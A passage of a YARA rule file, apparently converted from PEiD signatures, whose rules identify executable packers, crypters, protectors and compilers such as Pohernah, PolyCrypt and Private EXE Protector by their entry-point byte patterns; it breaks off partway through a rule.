+rule PEiD_01724_PKTINY_v1_0_with_TINYPROG_v3_8_
+{
+    meta:
+        description = "[PKTINY v1.0 with TINYPROG v3.8]"
+        ep_only = "true"
+    strings:
+        $a = {2E C6 06 ?? ?? ?? 2E C6 06 ?? ?? ?? 2E C6 06 ?? ?? ?? E9 ?? ?? E8 ?? ?? 83}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01725_PKZIP_SFX_v1_1_1989_90_
+{
+    meta:
+        description = "[PKZIP-SFX v1.1 1989-90]"
+        ep_only = "true"
+    strings:
+        $a = {FC 2E 8C 0E ?? ?? A1 ?? ?? 8C CB 81 C3 ?? ?? 3B C3 72 ?? 2D ?? ?? 2D ?? ?? FA BC ?? ?? 8E D0 FB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01726_PLINK86_1984__1985_
+{
+    meta:
+        description = "[PLINK86 1984, 1985]"
+        ep_only = "true"
+    strings:
+        $a = {FA 8C C7 8C D6 8B CC BA ?? ?? 8E C2 26}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01727_PluginToExe_v1_00____BoB___BobSoft_
+{
+    meta:
+        description = "[PluginToExe v1.00 -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 29 C0 5D 81 ED D1 40 40 00 50 FF 95 B8 40 40 00 89 85 09 40 40 00 FF 95 B4 40 40 00 89 85 11 40 40 00 50 FF 95 C0 40 40 00 8A 08 80 F9 22 75 07 50 FF 95 C4 40 40 00 89 85 0D 40 40 00 8B 9D 09 40 40 00 60 6A 00 6A 01 53 81 C3 ?? ?? ?? 00 FF D3 61 6A 00 68 44 69 45 50 FF B5 0D 40 40 00 6A 00 81 C3 ?? ?? ?? 00 FF D3 83 C4 10 FF 95 B0 40 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01728_PluginToExe_v1_01____BoB___BobSoft_
+{
+    meta:
+        description = "[PluginToExe v1.01 -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 29 C0 5D 81 ED C6 41 40 00 50 8F 85 71 40 40 00 50 FF 95 A5 41 40 00 89 85 6D 40 40 00 FF 95 A1 41 40 00 50 FF 95 B5 41 40 00 80 38 00 74 16 8A 08 80 F9 22 75 07 50 FF 95 B9 41 40 00 89 85 75 40 40 00 EB 6C 6A 01 8F 85 71 40 40 00 6A 58 6A 40 FF 95 A9 41 40 00 89 85 69 40 40 00 89 C7 68 00 08 00 00 6A 40 FF 95 A9 41 40 00 89 47 1C C7 07 58 00 00 00 C7 47 20 00 08 00 00 C7 47 18 01 00 00 00 C7 47 34 04 10 88 00 8D 8D B9 40 40 00 89 4F 0C 8D 8D DB 40 40 00 89 4F 30 FF B5 69 40 40 00 FF 95 95 41 40 00 FF 77 1C 8F 85 75 40 40 00 8B 9D 6D 40 40 00 60 6A 00 6A 01 53 81 C3 ?? ?? ?? 00 FF D3 61 6A 00 68 44 69 45 50 FF B5 75 40 40 00 6A 00 81 C3 ?? ?? 00 00 FF D3 83 C4 10 83 BD 71 40 40 00 00 74 10 FF 77 1C FF 95 AD 41 40 00 57 FF 95 AD 41 40 00 6A 00 FF 95 9D 41 40 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01729_PluginToExe_v1_02____BoB___BobSoft_
+{
+    meta:
+        description = "[PluginToExe v1.02 -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 29 C0 5D 81 ED 32 42 40 00 50 8F 85 DD 40 40 00 50 FF 95 11 42 40 00 89 85 D9 40 40 00 FF 95 0D 42 40 00 50 FF 95 21 42 40 00 80 38 00 74 16 8A 08 80 F9 22 75 07 50 FF 95 25 42 40 00 89 85 E1 40 40 00 EB 6C 6A 01 8F 85 DD 40 40 00 6A 58 6A 40 FF 95 15 42 40 00 89 85 D5 40 40 00 89 C7 68 00 08 00 00 6A 40 FF 95 15 42 40 00 89 47 1C C7 07 58 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01730_PMODE_W_v_1_12__1_16__1_21__1_33_DOS_extender_
+{
+    meta:
+        description = "[PMODE/W v.1.12, 1.16, 1.21, 1.33 DOS extender]"
+        ep_only = "true"
+    strings:
+        $a = {FC 16 07 BF ?? ?? 8B F7 57 B9 ?? ?? F3 A5 06 1E 07 1F 5F BE ?? ?? 06 0E A4}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01731_PocketPC_ARM__h__
+{
+    meta:
+        description = "[PocketPC ARM (h)]"
+        ep_only = "true"
+    strings:
+        $a = {F0 41 2D E9 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? A0 E1 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 50 E3 ?? 00 00 0A ?? ?? ?? ?? ?? ?? A0 ?? ?? ?? ?? ?? ?? ?? A0 ?? ?? ?? A0 E1 00 80 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? A0 E1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01732_PocketPC_ARM_
+{
+    meta:
+        description = "[PocketPC ARM]"
+        ep_only = "true"
+    strings:
+        $a = {F0 40 2D E9 00 40 A0 E1 01 50 A0 E1 02 60 A0 E1 03 70 A0 E1 ?? 00 00 EB 07 30 A0 E1 06 20 A0 E1 05 10 A0 E1 04 00 A0 E1 ?? ?? ?? EB F0 40 BD E8 ?? 00 00 EA ?? 40 2D E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01733_PocketPC_ARM_
+{
+    meta:
+        description = "[PocketPC ARM]"
+        ep_only = "true"
+    strings:
+        $a = {F0 40 2D E9 00 40 A0 E1 01 50 A0 E1 02 60 A0 E1 03 70 A0 E1 ?? 00 00 EB 07 30 A0 E1 06 20 A0 E1 05 10 A0 E1 04 00 A0 E1 ?? ?? ?? EB F0 40 BD E8 ?? 00 00 EA ?? 40 2D E9 ?? ?? 9F E5 ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 9F E5 00 ?? ?? ?? ?? 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01734_PocketPC_MIB_
+{
+    meta:
+        description = "[PocketPC MIB]"
+        ep_only = "true"
+    strings:
+        $a = {E8 FF BD 27 14 00 BF AF 18 00 A4 AF 1C 00 A5 AF 20 00 A6 AF 24 00 A7 AF ?? ?? ?? 0C 00 00 00 00 18 00 A4 8F 1C 00 A5 8F 20 00 A6 8F ?? ?? ?? 0C 24 00 A7 8F ?? ?? ?? 0C 25 20 40 00 14 00 BF 8F 08 00 E0 03 18 00 BD 27 ?? FF BD 27 18 00 ?? AF}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01735_PocketPC_MIB_
+{
+    meta:
+        description = "[PocketPC MIB]"
+        ep_only = "true"
+    strings:
+        $a = {E8 FF BD 27 14 00 BF AF 18 00 A4 AF 1C 00 A5 AF 20 00 A6 AF 24 00 A7 AF ?? ?? ?? 0C 00 00 00 00 18 00 A4 8F 1C 00 A5 8F 20 00 A6 8F ?? ?? ?? 0C 24 00 A7 8F ?? ?? ?? 0C 25 20 40 00 14 00 BF 8F 08 00 E0 03 18 00 BD 27 ?? FF BD 27 18 00 ?? AF ?? 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01736_PocketPC_SHA_
+{
+    meta:
+        description = "[PocketPC SHA]"
+        ep_only = "true"
+    strings:
+        $a = {86 2F 96 2F A6 2F B6 2F 22 4F 43 68 53 6B 63 6A 73 69 F0 7F 0B D0 0B 40 09 00 09 D0 B3 65 A3 66 93 67 0B 40 83 64 03 64 04 D0 0B 40 09 00 10 7F 26 4F F6 6B F6 6A F6 69 0B 00 F6 68 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 22 4F F0 7F 0A D0 06 D4 06 D5 0B 40 09}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01737_Pohernah_1_0_0___by_Kas_
+{
+    meta:
+        description = "[Pohernah 1.0.0 - by Kas]"
+        ep_only = "true"
+    strings:
+        $a = {58 60 E8 00 00 00 00 5D 81 ED 20 25 40 00 8B BD 86 25 40 00 8B 8D 8E 25 40 00 6B C0 05 83 F0 04 89 85 92 25 40 00 83 F9 00 74 2D 81 7F 1C AB 00 00 00 75 1E 8B 77 0C 03 B5 8A 25 40 00 31 C0 3B 47 10 74 0E 50 8B 85 92 25 40 00 30 06 58 40 46 EB ED 83 C7 28}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01738_Pohernah_1_0_0___by_Kas_
+{
+    meta:
+        description = "[Pohernah 1.0.0 - by Kas]"
+        ep_only = "true"
+    strings:
+        $a = {58 60 E8 00 00 00 00 5D 81 ED 20 25 40 00 8B BD 86 25 40 00 8B 8D 8E 25 40 00 6B C0 05 83 F0 04 89 85 92 25 40 00 83 F9 00 74 2D 81 7F 1C AB 00 00 00 75 1E 8B 77 0C 03 B5 8A 25 40 00 31 C0 3B 47 10 74 0E 50 8B 85 92 25 40 00 30 06 58 40 46 EB ED 83 C7 28 49 EB CE 8B 85 82 25 40 00 89 44 24 1C 61 FF E0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01739_Pohernah_1_0_1___by_Kas_
+{
+    meta:
+        description = "[Pohernah 1.0.1 - by Kas]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED F1 26 40 00 8B BD 18 28 40 00 8B 8D 20 28 40 00 B8 38 28 40 00 01 E8 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 1C 28 40 00 31 C0 51 31 C9 66 B9 FA 00 66 83 F9 00 74 49 8B 57 0C 03 95 1C 28 40 00 8B 85 24 28 40 00 83 F8 02 75 06 81 C2 00 02 00 00 51 8B 4F 10 83 F8 02 75 06 81 E9 00 02 00 00 57 BF C8 00 00 00 89 CE E8 27 00 00 00 89 C1 5F B8 38 28 40 00 01 E8 E8 24 00 00 00 59 49 EB B1 59 83 C7 28 49 EB 8A 8B 85 14 28 40 00 89 44 24 1C 61 FF E0 56 57 4F F7 D7 21 FE 89 F0 5F 5E C3 60 83 F0 05 40 90 48 83 F0 05 89 C6 89 D7 60 E8 0B 00 00 00 61 83 C7 08 83 E9 07 E2 F1 61 C3 57 8B 1F 8B 4F 04 68 B9 79 37 9E 5A 42 89 D0 48 C1 E0 05 BF 20 00 00 00 4A 89 DD C1 E5 04 29 E9 8B 6E 08 31 DD 29 E9 89 DD C1 ED 05 31 C5 29 E9 2B 4E 0C 89 CD C1 E5 04 29 EB 8B 2E 31 CD 29 EB 89 CD C1 ED 05 31 C5 29 EB 2B 5E 04 29 D0 4F 75 C8 5F 89 1F 89 4F 04 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01740_Pohernah_1_0_2___by_Kas_
+{
+    meta:
+        description = "[Pohernah 1.0.2 - by Kas]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED DE 26 40 00 8B BD 05 28 40 00 8B 8D 0D 28 40 00 B8 25 28 40 00 01 E8 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 09 28 40 00 31 C0 51 31 C9 66 B9 F7 00 66 83 F9 00 74 49 8B 57 0C 03 95 09 28 40 00 8B 85 11 28 40 00 83 F8 02 75 06 81 C2 00 02 00 00 51 8B 4F 10 83 F8 02 75 06 81 E9 00 02 00 00 57 BF C8 00 00 00 89 CE E8 27 00 00 00 89 C1 5F B8 25 28 40 00 01 E8 E8 24 00 00 00 59 49 EB B1 59 83 C7 28 49 EB 8A 8B 85 01 28 40 00 89 44 24 1C 61 FF E0 56 57 4F F7 D7 21 FE 89 F0 5F 5E C3 60 83 F0 05 40 90 48 83 F0 05 89 C6 89 D7 60 E8 0B 00 00 00 61 83 C7 08 83 E9 07 E2 F1 61 C3 57 8B 1F 8B 4F 04 68 B9 79 37 9E 5A 42 89 D0 48 C1 E0 05 BF 20 00 00 00 4A 89 DD C1 E5 04 29 E9 8B 6E 08 31 DD 29 E9 89 DD C1 ED 05 31 C5 29 E9 2B 4E 0C 89 CD C1 E5 04 29 EB 8B 2E 31 CD 29 EB 89 CD C1 ED 05 31 C5 29 EB 2B 5E 04 29 D0 4F 75 C8 5F 89 1F 89 4F 04 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01741_Pohernah_1_0_3___by_Kas_
+{
+    meta:
+        description = "[Pohernah 1.0.3 - by Kas]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 2A 27 40 00 31 C0 40 83 F0 06 40 3D 40 1F 00 00 75 07 BE 6A 27 40 00 EB 02 EB EB 8B 85 9E 28 40 00 83 F8 01 75 17 31 C0 01 EE 3D 99 00 00 00 74 0C 8B 8D 86 28 40 00 30 0E 40 46 EB ED}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01742_Pohernah_Crypter_V1_0_1____Kas_
+{
+    meta:
+        description = "[Pohernah Crypter V1.0.1 -> Kas]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED F1 26 40 00 8B BD 18 28 40 00 8B 8D 20 28 40 00 B8 38 28 40 00 01 E8 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 1C 28 40 00 31 C0 51 31 C9 66 B9 FA 00 66 83 F9 00 74 49 8B 57 0C 03 95 1C 28 40 00 8B 85 24}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01743_Pohernah_Crypter_V1_0_2____Kas_
+{
+    meta:
+        description = "[Pohernah Crypter V1.0.2 -> Kas]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED DE 26 40 00 8B BD 05 28 40 00 8B 8D 0D 28 40 00 B8 25 28 40 00 01 E8 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 09 28 40 00 31 C0 51 31 C9 66 B9 F7 00 66 83 F9 00 74 49 8B 57 0C 03 95 09 28 40 00 8B 85 11}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01744_PolyBox_C____Anskya_
+{
+    meta:
+        description = "[PolyBox C -> Anskya]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 56 B8 E4 41 00 10 E8 3A E1 FF FF 33 C0 55 68 11 44 00 10 64 FF 30 64 89 20 EB 08 FC FC FC FC FC FC 27 54 6A 0A 68 20 44 00 10 A1 1C 71 00 10 50 E8 CC E1 ?? ?? ?? ?? 85 DB 0F 84 77 01 00 00 53 A1 1C 71 00 10 50 E8 1E E2 FF FF 8B F0 85 F6 0F 84 61 01 00 00 53 A1 1C 71 00 10 50 E8 E0 E1 FF FF 85 C0 0F 84 4D 01 00 00 50 E8 DA E1 FF FF 8B D8 85 DB 0F 84 3D 01 00 00 56 B8 70 80 00 10 B9 01 00 00 00 8B 15 98 41 00 10 E8 9E DE FF FF 83 C4 04 A1 70 80 00 10 8B CE 8B D3 E8 E1 E1 FF FF 6A 00 6A 00 A1 70 80 00 10 B9 30 44 00 10 8B D6 E8 F8 FD FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01745_PolyBox_D____Anskya_
+{
+    meta:
+        description = "[PolyBox D -> Anskya]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 33 C9 51 51 51 51 51 53 33 C0 55 68 84 2C 40 00 64 FF 30 64 89 20 C6 45 FF 00 B8 B8 46 40 00 BA 24 00 00 00 E8 8C F3 FF FF 6A 24 BA B8 46 40 00 8B 0D B0 46 40 00 A1 94 46 40 00 E8 71 FB FF FF 84 C0 0F 84 6E 01 00 00 8B 1D D0 46 40 00 8B C3 83 C0 24 03 05 D8 46 40 00 3B 05 B4 46 40 00 0F 85 51 01 00 00 8D 45 F4 BA B8 46 40 00 B9 10 00 00 00 E8 A2 EC FF FF 8B 45 F4 BA 9C 2C 40 00 E8 F1 ED FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01746_PolyCrypt_PE___2_1_4b_2_1_5____JLab_Software_Creations__h_oep__
+{
+    meta:
+        description = "[PolyCrypt PE - 2.1.4b/2.1.5 -> JLab Software Creations (h-oep)]"
+        ep_only = "false"
+    strings:
+        $a = {91 8B F4 AD FE C9 80 34 08 ?? E2 FA C3 60 E8 ED FF FF FF EB}
+    condition:
+        $a
+}
+
+rule PEiD_01747_PolyCrypt_PE___2_1_4b_2_1_5____JLab_Software_Creations__h_signed__
+{
+    meta:
+        description = "[PolyCrypt PE - 2.1.4b/2.1.5 -> JLab Software Creations (h-signed)]"
+        ep_only = "false"
+    strings:
+        $a = {50 6F 6C 79 43 72 79 70 74 20 50 45 20 28 63 29 20 32 30 30 34 2D 32 30 30 35 2C 20 4A 4C 61 62 53 6F 66 74 77 61 72 65 2E 00 50 00 43 00 50 00 45}
+    condition:
+        $a
+}
+
+rule PEiD_01748_PolyCryptor_by_SMT_Version__v3__v4_
+{
+    meta:
+        description = "[PolyCryptor by SMT Version %v3.%v4]"
+        ep_only = "true"
+    strings:
+        $a = {EB ?? 28 50 6F 6C 79 53 63 72 79 70 74 20 ?? ?? ?? 20 62 79 20 53 4D 54 29}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01749_PolyEnE_V0_01_____Lennart_Hedlund_
+{
+    meta:
+        description = "[PolyEnE V0.01+ -> Lennart Hedlund]"
+        ep_only = "false"
+    strings:
+        $a = {50 6F 6C 79 45 6E 45 00 4D 65 73 73 61 67 65 42 6F 78 41 00 55 53 45 52 33 32 2E 64 6C 6C}
+    condition:
+        $a
+}
+
+rule PEiD_01750_PoPa_0_01__Packer_on_Pascal_____bagie_
+{
+    meta:
+        description = "[PoPa 0.01 (Packer on Pascal) -> bagie]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 56 57 33 C0 89 45 EC B8 A4 3E 00 10 E8 30 F6 FF FF 33 C0 55 68 BE 40 00 10 ?? ?? ?? ?? 89 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 33 C0 E8 62 E7 FF FF 8B 45 EC E8 32 F2 FF FF 50 E8 B4 F6 FF FF A3 64 66 00 10 33 D2 55 68 93 40 00 10 64 FF 32 64 89 22 83 3D 64 66 00 10 FF 0F 84 3A 01 00 00 6A 00 6A 00 6A 00 A1 64 66 00 10 50 E8 9B F6 FF FF 83 E8 10 50 A1 64 66 00 10 50 E8 BC F6 FF FF 6A 00 68 80 66 00 10 6A 10 68 68 66 00 10 A1 64 66 00 10 50 E8 8B F6 FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01751_PowerBASIC_CC_3_0x_
+{
+    meta:
+        description = "[PowerBASIC/CC 3.0x]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 BB 00 ?? ?? 00 66 2E F7 05 ?? ?? ?? 00 04 00 0F 85}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01752_PowerBASIC_CC_4_0_
+{
+    meta:
+        description = "[PowerBASIC/CC 4.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 BB 00 ?? 40 00 66 2E F7 05 ?? ?? 40 00 04 00 75 05 E9 68 05 00 00 E9 6E 03}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01753_PowerBASIC_Win_7_0x_
+{
+    meta:
+        description = "[PowerBASIC/Win 7.0x]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 BB 00 ?? 40 00 66 2E F7 05 ?? ?? 40 00 04 00 0F 85 DB 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01754_PowerBASIC_Win_8_00_
+{
+    meta:
+        description = "[PowerBASIC/Win 8.00]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 BB 00 ?? ?? 00 66 2E F7 05 ?? ?? 40 00 04 00 75 05 E9 14 04 00 00 E9 19 02}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01755_PPC_PROTECT_1_1X____Alexey_Gorchakov_
+{
+    meta:
+        description = "[PPC-PROTECT 1.1X -> Alexey Gorchakov]"
+        ep_only = "true"
+    strings:
+        $a = {FF 5F 2D E9 20 00 9F E5 00 00 90 E5 18 00 8F E5 18 00 9F E5 00 00 90 E5 10 00 8F E5 01 00 A0 E3 00 00 00 EB 02 00 00 EA 04 F0 1F E5}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01756_Prepared_by_SLR__OPTLINK__
+{
+    meta:
+        description = "[Prepared by SLR (OPTLINK)]"
+        ep_only = "true"
+    strings:
+        $a = {87 C0 55 56 57 52 51 53 50 9C FC 8C DA 83 ?? ?? 16 07 0E 1F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01757_PrincessSandy_1_0_eMiNENCE_Process_Patcher_Patch_
+{
+    meta:
+        description = "[PrincessSandy 1.0 eMiNENCE Process Patcher Patch]"
+        ep_only = "false"
+    strings:
+        $a = {68 27 11 40 00 E8 3C 01 00 00 6A 00 E8 41 01 00 00 A3 00 20 40 00 8B 58 3C 03 D8 0F B7 43 14 0F B7 4B 06 8D 7C 18 18 81 3F 2E 4C 4F 41 74 0B 83 C7 28 49 75 F2 E9 A7 00 00 00 8B 5F 0C 03 1D 00 20 40 00 89 1D 04 20 40 00 8B FB 83 C7 04 68 4C 20 40 00 68 08}
+    condition:
+        $a
+}
+
+rule PEiD_01758_PrincessSandy_v1_0_eMiNENCE_Process_Patcher_Patch_
+{
+    meta:
+        description = "[PrincessSandy v1.0 eMiNENCE Process Patcher Patch]"
+        ep_only = "false"
+    strings:
+        $a = {68 27 11 40 00 E8 3C 01 00 00 6A 00 E8 41 01 00 00 A3 00 20 40 00 8B 58 3C 03 D8 0F B7 43 14 0F B7 4B 06 8D 7C 18 18 81 3F 2E 4C 4F 41 74 0B 83 C7 28 49 75 F2 E9 A7 00 00 00 8B 5F 0C 03 1D 00 20 40 00 89 1D 04 20 40 00 8B FB 83 C7 04 68 4C 20 40 00 68 08 20 40 00 6A 00 6A 00 6A 20 6A 00 6A 00 6A 00 57 6A 00 E8 CE 00 00 00 85 C0 74 78 BD 50 C3 00 00 8B 3D 04 20 40 00 8B 07 8D 3C 07 83 C7 04 89 3D 04 20 40 00 8B 0F 83 C7 04 8B 1F 83 C7 04 4D 85 ED 74 57 60 6A 00 51 68 5C 20 40 00 53 FF 35 4C 20 40 00 E8 93 00 00 00 85 C0 61 74 E1 8B C1 60 BE 5C 20 40 00 F3 A6 74 03 61 EB D2 60 6A 00 50 57 53 FF 35 4C 20 40 00 E8 7A 00 00 00 85 C0 74 20 61 83 3C 07 00 74 2D 03 F8 EB A8 B8 5E 21 40 00 EB 13 B8 7C 21 40 00 EB 0C B8 9E 21 40 00 EB 05 B8 CF 21 40 00 6A 00 68 56}
+    condition:
+        $a
+}
+
+rule PEiD_01759_Private_EXE_Protector_1_8____SetiSoft__h__
+{
+    meta:
+        description = "[Private EXE Protector 1.8 -> SetiSoft (h)]"
+        ep_only = "false"
+    strings:
+        $a = {A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 B3 01 56 89 FE 29 C6 F3 A4 5E EB 8E 00 D2 75 05 8A 16 46 10 D2 C3 31 C9 41 E8 EE FF FF FF 11 C9 E8 E7 FF FF FF 72 F2 C3 31 FF 31 F6 C3}
+    condition:
+        $a
+}
+rule PEiD_01760_Private_EXE_Protector_1_8_
+{
+    meta:
+        description = "[Private EXE Protector 1.8]"
+        ep_only = "false"
+    strings:
+        $a = {BB DC EE 0D 76 D9 D0 8D 16 85 D8 90 D9 D0}
+    condition:
+        $a
+}
+
+rule PEiD_01761_Private_EXE_Protector_1_9_7____SetiSoft__h__
+{
+    meta:
+        description = "[Private EXE Protector 1.9.7 -> SetiSoft (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 F4 FC 53 57 56 8B 74 24 20 8B 7C 24 24 66 81 3E 4A 43 0F 85 A5 02 00 00 83 C6 0A 33 DB BA 00 00 00 80 C7 44 24 14 08 00 00 00 43 8D A4 24 00 00 00 00 8B FF 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 73 2C 8B 4C 24 10 33 C0 8D A4 24 00 00 00 00 05}
+    condition:
+        $a
+}
+
+rule PEiD_01762_Private_EXE_Protector_1_9_7____SetiSoft__h__
+{
+    meta:
+        description = "[Private EXE Protector 1.9.7 -> SetiSoft (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 F4 FC 53 57 56 8B 74 24 20 8B 7C 24 24 66 81 3E 4A 43 0F 85 A5 02 00 00 83 C6 0A 33 DB BA 00 00 00 80 C7 44 24 14 08 00 00 00 43 8D A4 24 00 00 00 00 8B FF 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 73 2C 8B 4C 24 10 33 C0 8D A4 24 00 00 00 00 05 00 00 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 13 C0 49 75 EF 02 44 24 0C 88 07 47 EB C6 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 0F 82 6E 01 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 0F 83 DC 00 00 00 B9 04 00 00 00 33 C0 8D A4 24 00 00 00 00 8D 64 24 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 13 C0 49 75 EF 48 74 B1 0F 89 EF 01 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 73 42 BD 00 01 00 00 B9 08 00 00 00 33 C0 8D A4 24 00 00 00 00 05 00 00 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 13 C0 49 75 EF 88 07 47 4D 75 D6}
+    condition:
+        $a
+}
+
+rule PEiD_01763_Private_Exe_Protector_1_x____setisoft_
+{
+    meta:
+        description = "[Private Exe Protector 1.x -> setisoft]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? B9 ?? 90 01 ?? BE ?? 10 40 ?? 68 50 91 41 ?? 68 01 ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01764_Private_EXE_Protector_2_0____SetiSoft_
+{
+    meta:
+        description = "[Private EXE Protector 2.0 -> SetiSoft]"
+        ep_only = "true"
+    strings:
+        $a = {89 ?? ?? 38 00 00 00 8B ?? 00 00 00 00 81 ?? ?? ?? ?? ?? 89 ?? 00 00 00 00 81 ?? 04 00 00 00 81 ?? 04 00 00 00 81 ?? 00 00 00 00 0F 85 D6 FF FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01765_Private_exe_Protector_2_15____SetiSoft_Team_
+{
+    meta:
+        description = "[Private exe Protector 2.15 -> SetiSoft Team]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01766_Private_exe_Protector_V1_8X_V1_9X____SetiSoft_Team_
+{
+    meta:
+        description = "[Private exe Protector V1.8X-V1.9X -> SetiSoft Team]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73}
+    condition:
+        $a
+}
+
+rule PEiD_01767_Private_exe_Protector_V2_0____SetiSoft_Team___Sign_by_fly_
+{
+    meta:
+        description = "[Private exe Protector V2.0 -> SetiSoft Team ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01768_Private_EXE_v2_0a_
+{
+    meta:
+        description = "[Private EXE v2.0a]"
+        ep_only = "true"
+    strings:
+        $a = {53 E8 00 00 00 00 5B 8B C3 2D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01769_Private_EXE_v2_0a_
+{
+    meta:
+        description = "[Private EXE v2.0a]"
+        ep_only = "false"
+    strings:
+        $a = {53 E8 ?? ?? ?? ?? 5B 8B C3 2D}
+    condition:
+        $a
+}
+
+rule PEiD_01770_Private_Personal_Packer__PPP__1_0_2____ConquestOfTroy_com_
+{
+    meta:
+        description = "[Private Personal Packer (PPP) 1.0.2 -> ConquestOfTroy.com]"
+        ep_only = "true"
+    strings:
